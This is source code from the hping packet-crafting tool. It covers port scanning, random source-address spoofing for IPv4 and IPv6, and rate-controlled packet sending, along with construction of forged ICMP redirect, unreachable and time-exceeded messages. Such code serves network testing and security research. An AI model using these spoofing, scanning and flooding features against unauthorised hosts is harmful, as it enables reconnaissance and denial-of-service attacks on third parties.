int recvd = 0;
retry ++;
for (i = 0; i < MAXPORT; i++) {
if (pi[i].active && pi[i].retry) {
active++;
pi[i].retry--;
sequence = -1;
dst_port = i;
pi[i].sentms = get_midnight_ut_ms();
send_tcp();
if (opt_waitinusec) {
if (usec_delay.it_interval.tv_usec)
usleep(usec_delay.it_interval.tv_usec);
} else {
sleep(sending_wait);
}
}
}
avrgms = (float) pi[MAXPORT+1].active;
if (retry >= 3) {
if (opt_debug)
printf("AVRGMS %f\n", avrgms);
if (avrgms)
usleep((int) (avrgms*1000));
else
sleep(1);
}
for (i = 0; i < MAXPORT; i++) {
if (!pi[i].active && pi[i].retry)
recvd++;
}
/* More to scan? */
if (!active) {
if (!recvd)
sleep(1);
fprintf(stderr, "All replies received. Done.\n");
printf("Not responding ports: ");
for (i = 0; i < MAXPORT; i++) {
if (pi[i].active && !pi[i].retry)
printf("(%d %.11s) ", i, port_to_name(i));
}
printf("\n");
exit(0);
}
/* Are we sending too fast? */
if ((!recvd && opt_waitinusec &&
usec_delay.it_interval.tv_usec == 0 &&
(get_midnight_ut_ms() - start_time) > 500) ||
(opt_scan_probes-retry) <= 2)
{
if (opt_debug)
printf("SLOWING DONW\n");
usec_delay.it_interval.tv_usec *= 10;
usec_delay.it_interval.tv_usec ++;
}
}
}
/* -------------------------------- input ---------------------------------- */
static void receiver(struct portinfo *pi, int childpid)
{
struct myiphdr ip;
char packet[IP_MAX_SIZE+linkhdr_size];
while(1)
{
int len, iplen;
len = read_packet(packet, IP_MAX_SIZE+linkhdr_size);
if (len == -1) {
perror("read_packet");
continue;
}
/* minimal sanity checks */
if (len < linkhdr_size)
continue;
iplen = len - linkhdr_size;
if (iplen < sizeof(struct myiphdr))
continue;
/* copy the ip header in an access-safe place */
memcpy(&ip, packet+linkhdr_size, sizeof(ip));
/* check if the dest IP matches */
if (memcmp(&ip.daddr, &ADDR4(&local), sizeof(ip.daddr)))
continue;
/* check if the source IP matches */
if (ip.protocol != IPPROTO_ICMP &&
memcmp(&ip.saddr, &ADDR4(&remote), sizeof(ip.saddr)))
continue;
if (ip.protocol == IPPROTO_TCP) {
struct mytcphdr tcp;
int iphdrlen = ip.ihl << 2;
char flags[16];
time_t rttms;
int sport;
/* more sanity checks */
if ((iplen - iphdrlen) < sizeof(tcp))
continue;
/* time to copy the TCP header in a safe place */
memcpy(&tcp, packet+linkhdr_size+iphdrlen, sizeof(tcp));
/* check if the TCP dest port matches */
#if 0
printf("SRC: %d DST: %d\n",
ntohs(tcp.th_sport),
ntohs(tcp.th_dport));
#endif
if (ntohs(tcp.th_dport) != initsport)
continue;
sport = htons(tcp.th_sport);
if (pi[sport].active == 0)
continue;
/* Note that we don't care about a wrote RTT
* result due to resend on the same port. */
rttms = get_midnight_ut_ms() - pi[sport].sentms;
avrgcount++;
avrgms = (avrgms*(avrgcount-1)/avrgcount)+(rttms/avrgcount);
/* The avrg RTT is shared using shared memory,
* no locking... */
pi[MAXPORT+1].active = (int) avrgms;
tcp_strflags(flags, tcp.th_flags);
#if 0
printf("%5d: %s %3d %5d %5d %10ld (%2d)\n",
sport,
flags,
ip.ttl,
ip.id,
ntohs(tcp.th_win),
(long) rttms,
opt_scan_probes-(pi[sport].retry));
#endif
if ((tcp.th_flags & TH_SYN) || opt_verbose) {
printf("%5d %-11.11s: %s %3d %5d %5d\n",
sport,
port_to_name(sport),
flags,
ip.ttl,
ip.id,
ntohs(tcp.th_win));
fflush(stdout);
}
pi[sport].active = 0;
} else if (ip.protocol == IPPROTO_ICMP) {
struct myicmphdr icmp;
struct myiphdr subip;
struct mytcphdr subtcp;
int iphdrlen = ip.ihl << 2;
unsigned char *p;
int port;
struct in_addr gwaddr;
/* more sanity checks, we are only interested
* in ICMP quoting the original packet. */
if ((iplen - iphdrlen) < sizeof(icmp)+sizeof(subip)+sizeof(subtcp))
continue;
/* time to copy headers in a safe place */
p = packet+linkhdr_size+iphdrlen;
memcpy(&icmp, p, sizeof(subtcp));
p += sizeof(icmp);
memcpy(&subip, p, sizeof(ip));
p += sizeof(ip);
memcpy(&subtcp, p, sizeof(subtcp));
/* Check if the ICMP quoted packet matches */
/* check if the source IP matches */
if (memcmp(&subip.saddr, &ADDR4(&local), sizeof(subip.saddr)))
continue;
/* check if the destination IP matches */
if (memcmp(&subip.daddr, &ADDR4(&remote), sizeof(subip.daddr)))
continue;
/* check if the quoted TCP packet port matches */
if (ntohs(subtcp.th_sport) != initsport)
continue;
port = htons(subtcp.th_dport);
if (pi[port].active == 0)
continue;
pi[port].active = 0;
memcpy(&gwaddr.s_addr, &ip.saddr, 4);
printf("%5d: %3d %5d (ICMP %3d %3d from %s)\n",
port,
ip.ttl,
ntohs(ip.id),
icmp.type,
icmp.code,
inet_ntoa(gwaddr));
}
}
}
/* ---------------------------------- main ---------------------------------- */
static void do_exit(int sid)
{
exit(0);
}
void scanmain(void)
{
struct portinfo *pi;
int ports = 0, i;
int childpid;
pi = shm_init(sizeof(*pi)*(MAXPORT+2));
pi[MAXPORT+1].active = 0; /* hold the average RTT */
if (pi == NULL) {
fprintf(stderr, "Unable to create the shared memory");
shm_close(pi);
exit(1);
}
for (i = 0; i <= MAXPORT; i++) {
pi[i].active = 0;
pi[i].retry = opt_scan_probes;
}
if (parse_ports(pi, opt_scanports)) {
fprintf(stderr, "Ports syntax error for scan mode\n");
shm_close(pi);
exit(1);
}
for (i = 0; i <= MAXPORT; i++) {
if (!pi[i].active)
pi[i].retry = 0;
}
for (i = 0; i <= MAXPORT; i++)
ports += pi[i].active;
fprintf(stderr, "%d ports to scan, use -V to see all the replies\n", ports);
fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n");
fprintf(stderr, "|port| serv name | flags |ttl| id | win |\n");
fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n");
/* We are ready to fork, the input and output parts
* are separated processes */
if ((childpid = fork()) == -1) {
perror("fork");
shm_close(pi);
exit(1);
}
/* The parent is the receiver, the child the sender.
* it's almost the same but this way is simpler
* to make it working in pipe with other commands like grep. */
if (childpid) { /* parent */
Signal(SIGCHLD, do_exit);
Signal(SIGINT, do_exit);
Signal(SIGTERM, do_exit);
receiver(pi, childpid);
} else { /* child */
Signal(SIGINT, do_exit);
Signal(SIGTERM, do_exit);
sender(pi);
}
/* UNREACHED */
}

239
send.c Normal file
View File

@ -0,0 +1,239 @@
/*
* $smu-mark$
* $name: sendudp.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
/* $Id: send.c,v 1.6 2003/08/01 14:53:08 antirez Exp $ */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include "hping2.h"
#include "globals.h"
#ifndef INET6_ADDRSTRLEN
#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")
#endif
static void select_next_random_source(void)
{
unsigned char ra[4];
ra[0] = hp_rand() & 0xFF;
ra[1] = hp_rand() & 0xFF;
ra[2] = hp_rand() & 0xFF;
ra[3] = hp_rand() & 0xFF;
memcpy(&ADDR4(&local).s_addr, ra, 4);
if (opt_debug)
printf("DEBUG: the source address is %u.%u.%u.%u\n",
ra[0], ra[1], ra[2], ra[3]);
}
static void select_next_random_ipv6_source(void)
{
unsigned char ra[16];
ra[0] = hp_rand() & 0xFF;
ra[1] = hp_rand() & 0xFF;
ra[2] = hp_rand() & 0xFF;
ra[3] = hp_rand() & 0xFF;
ra[4] = hp_rand() & 0xFF;
ra[5] = hp_rand() & 0xFF;
ra[6] = hp_rand() & 0xFF;
ra[7] = hp_rand() & 0xFF;
ra[8] = hp_rand() & 0xFF;
ra[9] = hp_rand() & 0xFF;
ra[10] = hp_rand() & 0xFF;
ra[11] = hp_rand() & 0xFF;
ra[12] = hp_rand() & 0xFF;
ra[13] = hp_rand() & 0xFF;
ra[14] = hp_rand() & 0xFF;
ra[15] = hp_rand() & 0xFF;
memcpy(&ADDR6(&local).s6_addr, ra, 16);
}
static void select_next_random_ipv6_dest(void)
{
unsigned char ra[16];
ra[0] = hp_rand() & 0xFF;
ra[1] = hp_rand() & 0xFF;
ra[2] = hp_rand() & 0xFF;
ra[3] = hp_rand() & 0xFF;
ra[4] = hp_rand() & 0xFF;
ra[5] = hp_rand() & 0xFF;
ra[6] = hp_rand() & 0xFF;
ra[7] = hp_rand() & 0xFF;
ra[8] = hp_rand() & 0xFF;
ra[9] = hp_rand() & 0xFF;
ra[10] = hp_rand() & 0xFF;
ra[11] = hp_rand() & 0xFF;
ra[12] = hp_rand() & 0xFF;
ra[13] = hp_rand() & 0xFF;
ra[14] = hp_rand() & 0xFF;
ra[15] = hp_rand() & 0xFF;
memcpy(&ADDR6(&remote).s6_addr, ra, 16);
}
static void select_next_random_ipv6_source_simple(void)
{ struct in6_addr rand6;
rand6 = ipv6_rand("2200::",8);
memcpy(&ADDR6(&local).s6_addr, rand6.s6_addr,16);
}
static void select_next_random_ipv6_dest_simple(void)
{
struct in6_addr rand6;
rand6 = ipv6_rand("2200::",8);
memcpy(&ADDR6(&remote).s6_addr, rand6.s6_addr,16);
}
static void select_next_random_dest(void)
{
unsigned char ra[4];
char a[4], b[4], c[4], d[4];
if (sscanf(targetname, "%4[^.].%4[^.].%4[^.].%4[^.]", a, b, c, d) != 4)
{
fprintf(stderr,
"wrong --rand-dest target host, correct examples:\n"
" x.x.x.x, 192,168.x.x, 128.x.x.255\n"
"you typed: %s\n", targetname);
exit(1);
}
a[3] = b[3] = c[3] = d[3] = '\0';
ra[0] = a[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(a, NULL, 0);
ra[1] = b[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(b, NULL, 0);
ra[2] = c[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(c, NULL, 0);
ra[3] = d[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(d, NULL, 0);
memcpy(&ADDR4(&remote).s_addr, ra, 4);
if (opt_debug) {
printf("DEBUG: the dest address is %u.%u.%u.%u\n",
ra[0], ra[1], ra[2], ra[3]);
}
}
long long sum_bytes;
unsigned int sum_packets;
/* The signal handler for SIGALRM will send the packets */
#define TDIFF(a,b) (((a).tv_usec - (b).tv_usec)/1000+((a).tv_sec - (b).tv_sec)*1000)
void send_packet (int signal_id)
{
int errno_save = errno;
struct timeval tv1, tv2;
int lel = 0;
gettimeofday(&tv1, NULL);
do{
if (opt_rand_dest){
if(opt_ipv6) {
select_next_random_ipv6_dest();
} else {
select_next_random_dest();
}
}
if (opt_rand_source){
if(opt_ipv6) {
select_next_random_ipv6_source();
} else {
select_next_random_source();
}
}
if (opt_rawipmode) send_rawip();
else if (opt_icmpmode){if(opt_ipv6)send_icmp6(); else send_icmp();}
else if (opt_udpmode) send_udp();
else send_tcp();
sent_pkt++;
if((opt_pps || opt_bps) && (sum_packets & 127) == 13)
{
int el;
gettimeofday(&tv2, NULL);
el = TDIFF(tv2, tv1);
if(opt_bps)
{
if(sum_bytes * 1000 / opt_bps > el)
usleep((sum_bytes * 1000 / opt_bps - el) * 1000);
}
else if(opt_pps)
{
if(sum_packets * 1000 / opt_pps > el)
usleep((sum_packets * 1000 / opt_pps - el) * 1000);
}
if(el - lel > 100)
{
float bps, pps;
char *bpsc, *ppsc;
gettimeofday(&tv2, NULL);
el = TDIFF(tv2, tv1);
pps = (float)sum_packets*1000/el;
bps = (float)sum_bytes*8000/el;
bpsc = ppsc = "";
if(bps > 9999999999.0)
{
bps /= 1000000000.0;
bpsc = "G";
}
else if(bps > 9999999)
{
bps /= 1000000;
bpsc = "M";
}
else if(bps > 9999)
{
bps /= 1000;
bpsc = "k";
}
if(pps > 9999999)
{
pps /= 1000000;
ppsc = "M";
}
else if(pps > 9999)
{
pps /= 1000;
ppsc = "k";
}
printf("\rt: %.2fs, %.1f %spps, %.1f %sbps ", (float)el/1000.0, pps, ppsc, bps, bpsc);
fflush(stdout);
lel = el;
}
}
}while(opt_pps || opt_bps);
Signal(SIGALRM, send_packet);
if (count != -1 && count == sent_pkt) { /* count reached? */
Signal(SIGALRM, print_statistics);
alarm(COUNTREACHED_TIMEOUT);
} else if (!opt_listenmode) {
if (opt_waitinusec == FALSE)
alarm(sending_wait);
else
setitimer(ITIMER_REAL, &usec_delay, NULL);
}
errno = errno_save;
}

49
sendhcmp.c Normal file
View File

@ -0,0 +1,49 @@
/*
* $smu-mark$
* $name: sendhcmp.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 4$
*/
#include <string.h>
#include <assert.h>
#include <unistd.h>
#include <signal.h> /* SIGALARM macro */
#include "hping2.h"
#include "globals.h"
#define MUST_BE_UNREACHED 0
void send_hcmp(__u8 type, __u32 arg)
{
static struct hcmphdr hcmph; /* static because we export this */
/* to data_handler() */
data_size = signlen + sizeof(struct hcmphdr);
/* build hcmp header */
memset(&hcmph, 0, sizeof(hcmph));
hcmph.type = type;
switch (type)
{
case HCMP_RESTART:
hcmph.typedep.seqnum = htons((__u16) arg);
break;
case HCMP_SOURCE_QUENCH:
case HCMP_SOURCE_STIRUP:
hcmph.typedep.usec = htonl(arg);
break;
default:
assert(MUST_BE_UNREACHED);
}
/* use hcmphdr_p to transmit hcmph to data_handler() */
hcmphdr_p = &hcmph;
kill(getpid(), SIGALRM); /* send hcmp */
return;
}

283
sendicmp.c Normal file
View File

@ -0,0 +1,283 @@
/*
* $smu-mark$
* $name: sendicmp.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
/* $Id: sendicmp.c,v 1.9 2003/07/25 11:42:10 njombart Exp $ */
#include <sys/types.h> /* this should be not needed, but ip_icmp.h lacks it */
#include <stdio.h>
#include <time.h>
#include <sys/time.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include "hping2.h"
#include "globals.h"
static int _icmp_seq = 0;
static void send_icmp_echo(void);
static void send_icmp_other(void);
static void send_icmp_timestamp(void);
static void send_icmp_address(void);
void send_icmp(void)
{
switch(opt_icmptype)
{
case ICMP_ECHO: /* type 8 */
case ICMP_ECHOREPLY: /* type 0 */
send_icmp_echo();
break;
case ICMP_DEST_UNREACH: /* type 3 */
case ICMP_SOURCE_QUENCH: /* type 4 */
case ICMP_REDIRECT: /* type 5 */
case ICMP_TIME_EXCEEDED: /* type 11 */
send_icmp_other();
break;
case ICMP_TIMESTAMP:
case ICMP_TIMESTAMPREPLY:
send_icmp_timestamp();
break;
case ICMP_ADDRESS:
case ICMP_ADDRESSREPLY:
send_icmp_address();
break;
default:
if (opt_force_icmp) {
send_icmp_other();
break;
} else {
printf("[send_icmp] Unsupported icmp type!\n");
exit(1);
}
}
}
static void send_icmp_echo(void)
{
char *packet, *data;
struct myicmphdr *icmp;
packet = malloc(ICMPHDR_SIZE + data_size);
if (packet == NULL) {
perror("[send_icmp] malloc");
return;
}
memset(packet, 0, ICMPHDR_SIZE + data_size);
icmp = (struct myicmphdr*) packet;
data = packet + ICMPHDR_SIZE;
/* fill icmp hdr */
icmp->type = opt_icmptype; /* echo replay or echo request */
icmp->code = opt_icmpcode; /* should be indifferent */
icmp->checksum = 0;
icmp->un.echo.id = getpid() & 0xffff;
icmp->un.echo.sequence = _icmp_seq;
/* data */
data_handler(data, data_size);
/* icmp checksum */
if (icmp_cksum == -1)
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size);
else
icmp->checksum = icmp_cksum;
/* adds this pkt in delaytable */
if (opt_icmptype == ICMP_ECHO)
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
/* send packet */
send_ip_handler(packet, ICMPHDR_SIZE + data_size);
free (packet);
_icmp_seq++;
}
static void send_icmp_timestamp(void)
{
char *packet;
struct myicmphdr *icmp;
struct icmp_tstamp_data *tstamp_data;
packet = malloc(ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data));
if (packet == NULL) {
perror("[send_icmp] malloc");
return;
}
memset(packet, 0, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data));
icmp = (struct myicmphdr*) packet;
tstamp_data = (struct icmp_tstamp_data*) (packet + ICMPHDR_SIZE);
/* fill icmp hdr */
icmp->type = opt_icmptype; /* echo replay or echo request */
icmp->code = 0;
icmp->checksum = 0;
icmp->un.echo.id = getpid() & 0xffff;
icmp->un.echo.sequence = _icmp_seq;
tstamp_data->orig = htonl(get_midnight_ut_ms());
tstamp_data->recv = tstamp_data->tran = 0;
/* icmp checksum */
if (icmp_cksum == -1)
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE +
sizeof(struct icmp_tstamp_data));
else
icmp->checksum = icmp_cksum;
/* adds this pkt in delaytable */
if (opt_icmptype == ICMP_TIMESTAMP)
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
/* send packet */
send_ip_handler(packet, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data));
free (packet);
_icmp_seq++;
}
static void send_icmp_address(void)
{
char *packet;
struct myicmphdr *icmp;
packet = malloc(ICMPHDR_SIZE + 4);
if (packet == NULL) {
perror("[send_icmp] malloc");
return;
}
memset(packet, 0, ICMPHDR_SIZE + 4);
icmp = (struct myicmphdr*) packet;
/* fill icmp hdr */
icmp->type = opt_icmptype; /* echo replay or echo request */
icmp->code = 0;
icmp->checksum = 0;
icmp->un.echo.id = getpid() & 0xffff;
icmp->un.echo.sequence = _icmp_seq;
memset(packet+ICMPHDR_SIZE, 0, 4);
/* icmp checksum */
if (icmp_cksum == -1)
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + 4);
else
icmp->checksum = icmp_cksum;
/* adds this pkt in delaytable */
if (opt_icmptype == ICMP_TIMESTAMP)
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
/* send packet */
send_ip_handler(packet, ICMPHDR_SIZE + 4);
free (packet);
_icmp_seq++;
}
static void send_icmp_other(void)
{
char *packet, *data, *ph_buf;
struct myicmphdr *icmp;
struct myiphdr icmp_ip;
struct myudphdr *icmp_udp;
int udp_data_len = 0;
struct pseudohdr *pseudoheader;
int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size;
packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
if (packet == NULL || ph_buf == NULL) {
perror("[send_icmp] malloc");
return;
}
memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
icmp = (struct myicmphdr*) packet;
data = packet + ICMPHDR_SIZE;
pseudoheader = (struct pseudohdr *) ph_buf;
icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE);
/* fill icmp hdr */
icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */
icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */
icmp->checksum = 0;
if (opt_icmptype == ICMP_REDIRECT)
memcpy(&icmp->un.gateway, &icmp_gw.sin_addr.s_addr, 4);
else
icmp->un.gateway = 0; /* not used, MUST be 0 */
/* concerned packet headers */
/* IP header */
icmp_ip.version = icmp_ip_version; /* 4 */
icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */
icmp_ip.tos = icmp_ip_tos; /* 0 */
icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len));
icmp_ip.id = htons(getpid() & 0xffff);
icmp_ip.frag_off = 0; /* 0 */
icmp_ip.ttl = 64; /* 64 */
icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */
icmp_ip.check = 0;
memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4);
memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE);
/* UDP header */
memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4);
memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
pseudoheader->protocol = icmp_ip.protocol;
pseudoheader->lenght = icmp_ip.tot_len;
icmp_udp->uh_sport = htons(icmp_ip_srcport);
icmp_udp->uh_dport = htons(icmp_ip_dstport);
icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len);
icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
/* filling icmp body with concerned packet header */
/* fill IP */
if (left_space == 0) goto no_space_left;
memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space);
left_space -= IPHDR_SIZE;
data += IPHDR_SIZE;
if (left_space <= 0) goto no_space_left;
/* fill UDP */
memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space);
left_space -= UDPHDR_SIZE;
data += UDPHDR_SIZE;
if (left_space <= 0) goto no_space_left;
/* fill DATA */
data_handler(data, left_space);
no_space_left:
/* icmp checksum */
if (icmp_cksum == -1)
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
else
icmp->checksum = icmp_cksum;
/* send packet */
send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
free (packet);
free (ph_buf);
}

193
sendicmp6.c Normal file
View File

@ -0,0 +1,193 @@
/*
* $smu-mark$
* $name: sendicmp6.c$
* $author: Matyas Koszik <koszik@atw.hu>$
* $copyright: Copyright (C) 2006 by Matyas Koszik$
* $license: This software is under GPL version 2 of license$
* $date: Sun Apr 16 05:51:38 CEST 2006$
* $rev: 1$
*/
#include <sys/types.h> /* this should be not needed, but ip_icmp.h lacks it */
#include <stdio.h>
#include <time.h>
#include <sys/time.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include "hping2.h"
#include "globals.h"
static int _icmp_seq = 0;
static void send_icmp6_echo(void);
static void send_icmp_other(void);
void send_icmp6(void)
{
switch(opt_icmptype)
{
case ICMP6_ECHO: /* type 128 */
case ICMP6_ECHOREPLY: /* type 129 */
send_icmp6_echo();
break;
case ICMP6_DEST_UNREACH: /* type 1 */
case ICMP6_PACK_TOOBIG: /* type 2 */
case ICMP6_TIME_EXCEEDED: /* type 3 */
case ICMP6_PARAMETERPROB: /* type 4 */
send_icmp_other();
break;
default:
if (opt_force_icmp) {
send_icmp_other();
break;
} else {
printf("[send_icmp6] Unsupported icmp type %i!\n", opt_icmptype);
exit(1);
}
}
}
static void send_icmp6_echo(void)
{
char *packet, *data;
struct myicmphdr *icmp;
struct pseudohdr6 *pseudoheader6;
packet = malloc(PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size);
if (packet == NULL) {
perror("[send_icmp] malloc");
return;
}
memset(packet, 0, PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size);
icmp = (struct myicmphdr*)(packet + PSEUDOHDR6_SIZE);
data = packet + PSEUDOHDR6_SIZE + ICMPHDR_SIZE;
/* fill icmp hdr */
icmp->type = opt_icmptype; /* echo replay or echo request */
icmp->code = opt_icmpcode; /* should be indifferent */
icmp->checksum = 0;
icmp->un.echo.id = getpid() & 0xffff;
icmp->un.echo.sequence = _icmp_seq;
/* data */
data_handler(data, data_size);
pseudoheader6 = (struct pseudohdr6*)packet;
memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16);
memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16);
pseudoheader6->protocol = 58;
pseudoheader6->lenght = htons(ICMPHDR_SIZE + data_size);
/* icmp checksum */
if (icmp_cksum == -1)
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size + PSEUDOHDR6_SIZE);
else
icmp->checksum = icmp_cksum;
/* adds this pkt in delaytable */
if (opt_icmptype == ICMP6_ECHO)
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
/* send packet */
send_ip_handler(packet + PSEUDOHDR6_SIZE, ICMPHDR_SIZE + data_size);
free (packet);
_icmp_seq++;
}
static void send_icmp_other(void)
{
char *packet, *data, *ph_buf;
struct myicmphdr *icmp;
struct myiphdr icmp_ip;
struct myudphdr *icmp_udp;
int udp_data_len = 0;
struct pseudohdr *pseudoheader;
int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size;
packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
if (packet == NULL || ph_buf == NULL) {
perror("[send_icmp] malloc");
return;
}
memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
icmp = (struct myicmphdr*) packet;
data = packet + ICMPHDR_SIZE;
pseudoheader = (struct pseudohdr *) ph_buf;
icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE);
/* fill icmp hdr */
icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */
icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */
icmp->checksum = 0;
icmp->un.gateway = 0; /* not used, MUST be 0 */
/* concerned packet headers */
/* IP header */
icmp_ip.version = icmp_ip_version; /* 4 */
icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */
icmp_ip.tos = icmp_ip_tos; /* 0 */
icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len));
icmp_ip.id = htons(getpid() & 0xffff);
icmp_ip.frag_off = 0; /* 0 */
icmp_ip.ttl = 64; /* 64 */
icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */
icmp_ip.check = 0;
memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4);
memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE);
/* UDP header */
memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4);
memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
pseudoheader->protocol = icmp_ip.protocol;
pseudoheader->lenght = icmp_ip.tot_len;
icmp_udp->uh_sport = htons(icmp_ip_srcport);
icmp_udp->uh_dport = htons(icmp_ip_dstport);
icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len);
icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
/* filling icmp body with concerned packet header */
/* fill IP */
if (left_space == 0) goto no_space_left;
memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space);
left_space -= IPHDR_SIZE;
data += IPHDR_SIZE;
if (left_space <= 0) goto no_space_left;
/* fill UDP */
memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space);
left_space -= UDPHDR_SIZE;
data += UDPHDR_SIZE;
if (left_space <= 0) goto no_space_left;
/* fill DATA */
data_handler(data, left_space);
no_space_left:
/* icmp checksum */
if (icmp_cksum == -1)
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
else
icmp->checksum = icmp_cksum;
/* send packet */
send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
free (packet);
free (ph_buf);
}

134
sendip.c Normal file
View File

@ -0,0 +1,134 @@
/*
* $smu-mark$
* $name: sendip.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
/* $Id: sendip.c,v 1.7 2003/08/01 13:28:07 njombart Exp $ */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include "hping2.h"
#include "globals.h"
void send_ip (char* src, char *dst, char *data, unsigned int datalen,
int more_fragments, unsigned short fragoff, char *options,
char optlen)
{
char *packet;
int result,
packetsize;
struct myiphdr *ip;
packetsize = IPHDR_SIZE + optlen + datalen;
if ( (packet = malloc(packetsize)) == NULL) {
perror("[send_ip] malloc()");
return;
}
memset(packet, 0, packetsize);
ip = (struct myiphdr*) packet;
/* copy src and dst address */
memcpy(&ip->saddr, src, sizeof(ip->saddr));
memcpy(&ip->daddr, dst, sizeof(ip->daddr));
/* build ip header */
ip->version = 4;
ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2;
ip->tos = ip_tos;
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
/* FreeBSD */
/* NetBSD */
ip->tot_len = packetsize;
#else
/* Linux */
/* OpenBSD */
